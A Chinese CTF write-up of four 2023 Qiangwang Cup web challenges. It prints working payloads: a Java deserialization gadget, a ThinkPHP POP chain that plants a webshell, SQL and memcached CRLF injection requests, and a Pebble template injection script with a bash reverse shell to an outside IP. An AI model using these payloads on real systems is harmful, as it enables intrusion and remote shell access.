2023强网杯

2023年强网杯赛题记录~

Web

happygame

给的ip与端口是没有http服务的,尝试发现是grpc服务,使用grpcurl可以连接

有两个服务接口:SayHelloProcessMsg,用grpcui来可视化连接方便一点

SayHello接口就是接收一个字符串然后返回Hello string

ProcessMsg的入口能接收一个序列化字符串进行反序列化,python的不行,用java,先构造一个URLDNS测试一下

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEHk3aWljZi5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA==

可以序列化,多次尝试,cc5链可以打,反弹shell

rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAUXQAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAAM3EAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdABhYmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TWpBdU56WXVNVGswTGpJMUx6SXpNak1nTUQ0bU1RPT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=

thinkshop

查看base.php

define('THINK_VERSION', '5.0.23');

可知版本,此版本存在较多序列化漏洞,看看后面能不能利用

先审代码,整体流程不长

首先是index页面,有一个展示商品的页面,点进去能查看商品的详细信息,看看html的源码,

<h2>商品信息:{php}use app\index\model\Goods;$view=new Goods();echo $view->arrayToHtml(unserialize(base64_decode($goods['data'])));{/php}</h2>

能看到商品的信息是通过反序列化商品的信息得到的,后端通过getGoodsById()在数据库中查询得到的,数据库中的数据表结构如下:

image-20240118003900566

然后是admin页面,需要先登录,这里就有个坑(贼坑),用户登录使用的用户名并不是在数据库里面看到的admin

先看登录的时候的查询操作

// 尝试从缓存中获取数据
$adminData = Db::table('admin')
->cache(true, $Expire)
->find($username);

注意这个find()函数,实现在thinkphp/library/think/db/Query.php中,我们可以输出一下执行的sql语句

// 生成查询SQL
$sql = $this->builder->select($options);
// 获取参数绑定
$bind = $this->getBind();
var_dump($sql);
var_dump($bind);

随便输入账号密码登录一下

image-20240118014925494

可以看到sql语句并不是查询用户名而是查询了账号的id来获取密码然后检查与输入的密码是否一致,所以使用admin/123456(附件的.sql文件中有账号密码)是登录不上的......所以要使用1/123456来登录

image-20240118015231230

可以看到,我们输出查询的结果$adminData在使用1/123456登录就有结果了

登录成功就两个操作,要么新增商品,要么修改商品,肯定要改变数据库中商品的data的内容,让他能反序列化

在更新操作中:do_edit()->saveGoods()->save()->updatedata()

public function updatedata($data, $table, $id)
{
if (!$this->connect()) {
die('Error');
} else {
$sql = "UPDATE $table SET ";
foreach ($data as $key => $value) {
$sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
}

$sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
return mysqli_query($this->connect(), $sql);


}
}

其中$data是获取的POST的内容,然后按照键值对遍历,给每一个字段进行更新,value进行了转换不存在注入了,但是$key没有限制,可以对key动手脚来实现注入,修改data的内容为序列化的数据,读取数据时需要base64开头为YTo(a:),就是要是Array的序列化开头,所以反序列化还需要一个Array包裹

先找一条链子改一改:https://xz.aliyun.com/t/8143?time__1311=n4%2BxuDgDBDyGIqiqGNDQT4L4fOqjrEf4xgiD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-11

<?php
namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
//echo serialize($window);
echo base64_encode(serialize([$window]));
}

//YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMjt9fX19

接下来构造类似下面的sql语句

UPDATE $table SET ` (data` = 'payload'#) ` = unhex('......')

第一个括号里面的内容就是我们需要构造的payload,因为构造了一个#注释了后面的所以不需要关心后面的内容,还需要注意的是saveGoods()函数中有一句$data['data'] = base64_encode(serialize($this->markdownToArray($data['data'])));,所以POST传参一定要有data参数,不然就报错了

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: localhost:36000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 426
Origin: http://localhost:36000
Connection: close
Referer: http://localhost:36000/public/index.php/index/admin/goods_edit/id/1.html
Cookie: thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; thinkphp_show_page_trace=0|0; session=eyJ1c2VybmFtZSI6ImVyIn0.ZXh4Iw.eXhT1l2K9xURmd4wI2O1t8jZ2QM; PHPSESSID=nd32t9n6sup7859noe6i4qgku2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

id=1&name=real_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3d'YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMjt9fX19'%23=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A&data=zzz

按照这个链子会生成2个文件,文件名分别为a.php.md5("<getAttr>xxx</getAttr>").phpa.php.md5("tag_".md5("xxx")).php

我们写入的shell在第二个文件中,即a.php12ac95f1498ce51d2d96a249c09c1998.php

访问public/a.php12ac95f1498ce51d2d96a249c09c1998.php,post传参ccc=system(ls /)读取flag

image-20240118182754199

thinkshopping

这个题目跟上一个不一样了,数据库的用户数据已经删除了,商品数据的反序列化入口也删除了,但是mysql有文件读写的权限,还是能登录上去直接load_file()读取flag的,问题就是如何登录

image-20240119210710273

可以看到在登录的时候,查询数据库的操作是

$adminData = Db::table('admin')
->cache(true, $Expire)
->find($username);

我们可以跟进去看一下cachefind两个操作:

//think/db/Query.php

public function cache($key = true, $expire = null, $tag = null)
{
// 增加快捷调用方式 cache(10) 等同于 cache(true, 10)
if ($key instanceof \DateTime || (is_numeric($key) && is_null($expire))) {
$expire = $key;
$key = true;

}

if (false !== $key) {
$this->options['cache'] = ['key' => $key, 'expire' => $expire, 'tag' => $tag];
}
return $this;
}



public function find($data = null)
{
.....//前面的操作不重要

$options['limit'] = 1;
$result = false;
if (empty($options['fetch_sql']) && !empty($options['cache'])) {
// 判断查询缓存
$cache = $options['cache'];
if (true === $cache['key'] && !is_null($data) && !is_array($data)) {
$key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data;
} elseif (is_string($cache['key'])) {
$key = $cache['key'];
} elseif (!isset($key)) {
$key = md5($this->connection->getConfig('database') . '.' . serialize($options) . serialize($this->bind));
}
$result = Cache::get($key);
}
....//后面的操作是只在$result为false(空)的时候才会执行,是一些数据库查询造作
return $result;
}

可以看到调用了cache()知识设置了$option的一些值然后就返回$this接着调用find()了,参数是我们输入的用户名

继续跟进去看一下Cache::get()操作

// think/Cache.php

public static function get($name, $default = false)
{
self::$readTimes++;

return self::init()->get($name, $default);
}


public static function init(array $options = [])
{
if (is_null(self::$handler)) {
if (empty($options) && 'complex' == Config::get('cache.type')) {
$default = Config::get('cache.default');
// 获取默认缓存配置,并连接
$options = Config::get('cache.' . $default['type']) ?: $default;
} elseif (empty($options)) {
$options = Config::get('cache');
}

self::$handler = self::connect($options);

}

return self::$handler;
}

这里先init()以后再调用了get(),我们需要知道init()返回了什么,直接在get()里面var_dump(self::init())一下或者在init()返回之前var_dump(self::$handler)

public static function init(array $options = [])
{
...
var_dump(self::$handler);
return self::$handler;
}

再去登录看看输出

image-20240119213411961

能看到,他返回了Memcached的类,那就是self::init()->get($name, $default);调用的是Memcached->get()

接下来就要去看Mencached

// think/cache/driver/Mencached
public function get($name, $default = false)
{
$result = $this->handler->get($this->getCacheKey($name));
return false !== $result ? $result : $default;
}


// think/cache/Driver.php
protected function getCacheKey($name)
{
return $this->options['prefix'] . $name;
}

通过上面的截图我们可以知道options['prefix'] => "",所以通过getCacheKey()后的结果是一样的;

要知道Mencached是一个缓存服务器,可以像mysql一样进行查询的,所以我们能看见上面Memcached的截图中是有hostport等配置的,所以Mencached__construct()中就是在进行一下服务器的连接操作

到此,登录的流程就很很明确了,首先是到Memcached中查询一下缓存服务器中查询是否有相应的用户的信息,如果有就不会再查询Mysql了,接下来就是搞定Memcached的查询问题,还有find()里面传参的$key是什么内容,还是直接在Query.phpvar_dump()一下,再去登录

/var/www/html/thinkphp/library/think/db/Query.php:2660:string 'think:shop.admin|qqq' (length=20)

key的格式就知道了,后面就是拼接我们登录输入的用户名

根据这个文章https://www.freebuf.com/vuls/328384.htmlMemcached存在CRLF注入漏洞

现在启动的docker靶机中安装一下apt-get install memcached,启动service memcached start

然后就能telnet连接了,靶机中没有,需要安装apt-get install telnet

直接telnet localhost 11211就能连上,熟悉一下基本的语法:

image-20240120020512883

根据文章所说\r\n会被memcached认为是指令的终止,相当于回车,于是在查询用户名调用Cache::get()的时候使用\r\n来拼接多个指令,包括set指令来设置新的键值对,我们在这里试一下,随便使用一个用户名来登录然后进行注入,在这里注入gg:gggg这个键值对

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: localhost:36000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Origin: http://localhost:36000
Connection: close
Referer: http://localhost:36000/public/index.php/index/admin/login.html
Cookie: thinkphp_show_page_trace=0|2; thinkphp_show_page_trace=1|0; thinkphp_show_page_trace=1|1; thinkphp_show_page_trace=0|0; session=eyJ1c2VybmFtZSI6ImVyIn0.ZXh4Iw.eXhT1l2K9xURmd4wI2O1t8jZ2QM; PHPSESSID=nd32t9n6sup7859noe6i4qgku2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=1222%00%0d%0aset%20gg%200%20100%204%0d%0agggg%0d%0a&password=qqqq

相当于Memcache执行了一个get 1222,当然这个是没有值返回的;又执行了一个set

get 1222
set gg 0 100 4
gggg

去终端里面查询一下:

未设置的时候:

image-20240120021209763

这时候gg是没有值的,发送登录请求后:

image-20240120021329460

可以看到已经有值了,这样一来我们就能像sql注入一样,在Memcached里面注入一个登录需要的值,到时候登录直接来这里查询到就能登录,但是要设置什么值呢,我们可以在mysql的数据表里面插入一个用户记录来看一下插入的值的类型与格式

INSERT INTO `admin` VALUES (1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');

这个就是上一道题目的1/123456来登录,插入后,去登录然后再去查询一下Memcached,使用的key就是前面我们var_dump()出来的think:shop.admin|1:

image-20240120021918126

a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}这一串就是我们要插入的值,长度101,所以可以构造crlf注入,注意flag位是4

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: localhost:36000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
Origin: http://localhost:36000
Connection: close
Referer: http://localhost:36000/public/index.php/index/admin/login.html
Cookie: thinkphp_show_page_trace=0|2; thinkphp_show_page_trace=1|0; thinkphp_show_page_trace=1|1; thinkphp_show_page_trace=0|0; session=eyJ1c2VybmFtZSI6ImVyIn0.ZXh4Iw.eXhT1l2K9xURmd4wI2O1t8jZ2QM; PHPSESSID=nd32t9n6sup7859noe6i4qgku2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=1222%00%0d%0aset%20think:shop.admin|1%204%201000%20101%0d%0aa:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}%0d%0a&password=qqqq

使用1/123456登陆成功:

image-20240120022622405

使用第一题的sql注入方式,把data字段改成load_file()的内容再去读取即可


id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3d(load_file('/fffflllaaaagggg'))%23=flag%7Basdasdadadada%7D
image-20240120023453620

成功读到flag

强网先锋

hellospring

搭一下本地的环境,去抄一个类似的环境docker来改一改

FROM openjdk:18-slim-bullseye

RUN mkdir /usr/src/app
WORKDIR /usr/src/app

# create user
RUN groupadd chalusr
RUN useradd -ms /bin/bash -g chalusr chalusr

COPY hellospring-0.0.1-SNAPSHOT.jar ./
COPY home.pebble /tmp/ #看附件的代码就知道放模板的路径就是/tmp,默认模板是home
COPY flag ./


USER chalusr
CMD ["java", "-jar", "/usr/src/app/hellospring-0.0.1-SNAPSHOT.jar"]

<!-- home.pebble -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home Page</title>
</head>
<body>
<h1>Hello!!!</h1>
</body>
</html>

接下来就是代码审计:

@Controller
public class myController {
public myController() {
}

@RequestMapping({"/"})
public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {
return (String)template.orElse("home");
}

@PostMapping({"/uploadFile"})
public String updateFile(@RequestParam("content") String myContent, Model model) throws IOException {
if (myFilter.filter(myContent)) {
System.out.println("Baned!");
return "home";
} else {
String path = "/tmp/";
System.out.println(path);
String filename = FileNameGenerator.general_time();
String file_path = path + filename;
File f = new File(file_path);
if (f.exists()) {
System.out.println("File already exists!");
return "home";
} else {
System.out.println(f.createNewFile());

try {
FileOutputStream fos = new FileOutputStream(file_path);

try {
byte[] bytes = myContent.getBytes();
fos.write(bytes);
System.out.println("文件写入成功!");
} catch (Throwable var11) {
try {
fos.close();
} catch (Throwable var10) {
var11.addSuppressed(var10);
}

throw var11;
}

fos.close();
} catch (IOException var12) {
var12.printStackTrace();
}

System.out.println("upload Success!");
return "home";
}
}
}
}

一些工具函数:

public class FileNameGenerator {
public FileNameGenerator() {
}

public static String general_time() {
LocalDateTime currentTime = LocalDateTime.now();
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
String var10000 = currentTime.format(formatter);
String fileName = "file_" + var10000 + ".pebble";
System.out.println("filename is " + fileName);
return fileName;
}
}

public class myFilter {
public myFilter() {
}

public static boolean filter(String context) {
return false;
}
}

只有两个路由;

首先是/,可以通过x来传参选择模板,如果没有传参就默认返回home,但是会拼接上前缀与后缀,在application.properties

pebble.prefix = /tmp/
pebble.suffix = .pebble
server.port=8088

就是默认是/tmp/home.pebble

根据Y4师傅的文章,这里的x存在路径穿越,我们在根目录写一个root.pebble试试

http://localhost:28088/?x=./../../../../root

image-20240122173016958

存在路径穿越;下一个就是uploadFile路由,接收content传参,经过myFilter.filter()的过滤,但是看filter()就知道实际上没有什么作用,传完参后,根据FileNameGenerator()生成的文件名写到/tmp路径下,内容没有限制,同样是根据Y4师傅的文章,用pebble模板 注入,但是可以用这个文章payload打一个反弹shell

{% set clazz=beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{% set instance = beans.get("jacksonObjectMapper").readValue("{}", clazz) %}
{{instance.parseExpression("new java.lang.ProcessBuilder(new String[]{\"bash\",\"-c\",\"bash -i >& /dev/tcp/120.76.194.25/2323 0>&1\"}).start()").getValue()}}

文件名是拼接了时间,所以只能上脚本了,还需要注意,docker容器用的是UTC时区,电脑是UTC+8时区,转换一下,模板写入后,需要通过x传参去加载模板达到注入的目的

from datetime import datetime,timedelta
import requests,time,pytz

utc_tz = pytz.timezone('UTC')
step = timedelta(seconds=1)
current_time = datetime.now(tz=utc_tz)
time.sleep(5)


url = "http://127.0.0.1:28088"

content = '''{% set clazz=beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{% set instance = beans.get("jacksonObjectMapper").readValue("{}", clazz) %}
{{instance.parseExpression("new java.lang.ProcessBuilder(new String[]{\\"bash\\",\\"-c\\",\\"bash -i >& /dev/tcp/120.76.194.25/2323 0>&1\\"}).start()").getValue()}}'''

data = {"content": content}

req = requests.post(url=url+"/uploadFile",data=data)
print(req.status_code)


for i in range(0,20):
format_time = current_time.strftime("%Y%m%d_%H%M%S")
current_time += step
filename = "file_"+str(format_time)
print(type(filename))
url = url+"?x="+filename
req2 = requests.get(url=url)
print(req2.status_code)